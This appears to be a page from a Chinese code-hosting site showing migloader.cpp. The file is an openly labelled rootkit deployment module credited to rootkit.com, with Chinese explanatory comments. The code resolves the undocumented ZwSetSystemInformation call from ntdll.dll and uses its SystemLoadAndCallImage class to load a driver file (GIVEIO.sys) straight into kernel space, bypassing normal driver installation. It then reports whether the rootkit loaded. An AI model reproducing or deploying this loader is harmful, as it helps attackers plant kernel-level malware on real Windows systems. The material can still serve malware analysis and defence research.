?? migloader.cpp
字號:
////////////////////////////////////////
// New Deployment Module for rootkit 040
// -------------------------------------
// -Greg Hoglund http://www.rootkit.com
////////////////////////////////////////
#include <windows.h>
#include <stdio.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
#ifdef MIDL_PASS
[size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT *
Buffer;
#else // MIDL_PASS
PWSTR Buffer;
#endif // MIDL_PASS
} UNICODE_STRING, *PUNICODE_STRING;
typedef unsigned long NTSTATUS; //我認為這里應該是typedef long NTSTATUS,
//否則一個unsigned的值總是不小于0,下面這個宏就會
//出問題
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
typedef
NTSTATUS (__stdcall *ZWSETSYSTEMINFORMATION)(
IN DWORD SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength
);
/*
//有關ZwSetSystemInformation的用法可以參考Gary Nebbett的《Windows NT/2000
//Native API //Reference》
//ZwSetSystemInformation設置影響操作系統的信息,定義如下:
// NTSYSAPI
// NTSTATUS
// NTAPI
// ZwSetSystemInformation(
// IN SYSTEM_IMFORMATION_CALSS SystemInformationClass,
// IN OUT PVOID SystemInformation,
// IN ULONG SystemInformationLength);
//
//參數:
// SystemInformationClass:將被設置的系統信息的類型,值為
SYSTEM_IMFORMATION_CALSS枚舉的一個// 子集,SystemLoadAndCallImage就是
其中一個:
// typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE{//Information Class
38 、 // UNICODE_STRING ModuleName;
// }SYSTEM_LOAD_AND_CALL_IMAGE,*PSYSTEM_LOAD_AND_CALL_IMAGE;
//
// 成員:
// Module:要加載模塊的NATIVE NT格式的完整路徑
//
// 備注:
// 這個信息類只能被設置,不是設置任何信息,而是執行把一個模塊加載
到內核地址空間和調// 用其入口點的操作。期望入口點例程是一個帶兩個參
數的__stdcall例程(與設備驅動程序的 // DriverEntry例程一致)。如果入
口點例程返回一個失敗代碼,則卸載模塊。
//
// SystemInformation:指向含有被設置信息的一個調用者分配的緩沖區或變量
// SystemInformationLength:以字節為單位的SystemInformaiton的大小,根據給
定的// SystemInformationClass來設置它
//
*/
typedef
VOID (__stdcall *RTLINITUNICODESTRING)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);
ZWSETSYSTEMINFORMATION ZwSetSystemInformation;
RTLINITUNICODESTRING RtlInitUnicodeString;
typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE
{
UNICODE_STRING ModuleName;
} SYSTEM_LOAD_AND_CALL_IMAGE, *PSYSTEM_LOAD_AND_CALL_IMAGE;
#define SystemLoadAndCallImage 38
void main(void)
{
///////////////////////////////////////////////////////////////
// Why mess with Drivers?
///////////////////////////////////////////////////////////////
SYSTEM_LOAD_AND_CALL_IMAGE GregsImage;
WCHAR daPath[] = L"\\??\\C:\\GIVEIO.sys";
//////////////////////////////////////////////////////////////
// get DLL entry points
//////////////////////////////////////////////////////////////
if(!(RtlInitUnicodeString = (RTLINITUNICODESTRING)
GetProcAddress(GetModuleHandle("ntdll.dll"),
"RtlInitUnicodeString"))) //在ntdll.dll中獲取RtlInitUnicodeString地址
exit(1);
if( !(ZwSetSystemInformation = (ZWSETSYSTEMINFORMATION)
GetProcAddress( GetModuleHandle("ntdll.dll"),
"ZwSetSystemInformation" )) ) //在ntdll.dll中獲取ZwSetSystemInformation地址
exit(1);
RtlInitUnicodeString( &(GregsImage.ModuleName),
daPath ); //建立設備
if( NT_SUCCESS(
ZwSetSystemInformation( SystemLoadAndCallImage,
&GregsImage,
sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)) )) //加載進內核空間
{
printf("Rootkit Loaded.\n");
}
else
{
printf("Rootkit not loaded.\n");
}
}
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -